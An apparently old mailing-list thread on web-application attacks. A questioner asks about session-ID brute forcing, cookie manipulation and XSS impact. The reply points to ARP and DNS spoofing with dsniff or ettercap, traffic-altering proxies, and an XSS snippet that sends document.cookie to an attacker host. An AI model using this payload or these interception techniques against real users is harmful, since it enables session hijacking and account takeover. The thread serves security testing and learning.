Hi, As far as brute forcing session ids goes, you could have a look at a post that I sent to the mobile code mailing list a while back for some techniques, and some code. That was focused on identifying the patterns in the cookie sequence, but once you have done that, it should be relatively easy to identify what the possibilities are for the next cookie, simply by reversing the algorithm - instead of calculating an integer from a character string, calculate a character string from the integer. http://www.pantek.com/library/general/lists/securityfocus.com/webappsec/msg0 0552.html Alternatively, take a look at iDefense's cookie and sessionid brute force tool. Sorry, I forget the name at the moment. The key to intercepting traffic is to understand the tools that are available, and put them to use in creative ways. For example, you could use the arp spoofing or DNS spoofing tools from the dsniff suite to redirect traffic on your local segment from the proxy to your own machine. Alternatively, investigate ettercap which could also possibly do this. Then run something like WebSleuth, Exodus (http://mysite.mweb.co.za/residents/rdawes/exodus.html), the dsniff webmitm , or your favourite proxy program to monitor traffic sent to the proxy, and alter it as you wish, prior to sending it off to the real proxy, or out via the router. Cross Site scripting is mostly useful to compromise the user's sessionid, to save you the effort of brute forcing it. E.g. if you could get the victim to execute the following code, you could simply collect their sessionid, and use it yourself. [script language=javascript]document.print("<img src='http://attacker.site/snarf?" + document.cookie + "'>")[/script] Alternatively, you could make them submit a form containing whatever information you want, that could possibly elevate your own privileges (if the victim is an administrator) etc Have fun!

Let me give some specific details. Session ID Generally session ID is big enough and act as authentication token. Most of the time it only changes last few digits, lets say only three digits from the end. Even its doing this only its very tuff to guess these last three digits. I have made a testing site and tried but was not able to do that. I knew session ID is not the only authentication parameter. It can contain cookie, session tokens etc as well. I have tried Achilles, Web Sleuth, Web Inspect, Spike Proxy etc. I think at least they don't do such brute force. Is there any tool which does brute force on this and give session ID. Cookie Manipulation Several Articles talk about Cookie Manipulation. How to get cookies of others even in a LAN seems very tuff or not possible as per my study on Web. If a Attacker is able to redirect other person's traffic to any Proxy like Achilles, Web Sleuth than he can perform attacks. Now nobody is allowing to change his proxy setting and sending his output through Attacker (Proxy). Is there any tool which can give access/manipulate the cookie remotely? This manipulation can also be achieved if an Attacker can put his Proxy (Web Sleuth) on intermediate Router/Proxy. One Example is I am accessing Hotmail and on my ISP Router/Proxy, An attacker installs tool like Web Sleuth. But again question comes Router works on OSI layer 3 so attacker can't put tool like Web Sleuth. If intermediate hop is Proxy which is on Application level, there should be some tool which can be placed here. XSS Cross Site Scripting has to use Client site scripting only. What could be the maximum impact of this? Can Attacker format a machine or steal data by this? If yes how? Please also tell any other Proof of Concept Tool on Web Application Security. I read OWASP guides, WebGoat and some more to understand three things deeply and develop Proof of Concept Tool but no successes accept Hidden field manipulation. Please recommend some good guides on this. Any help on this would be highly appreciated. Thanking You.
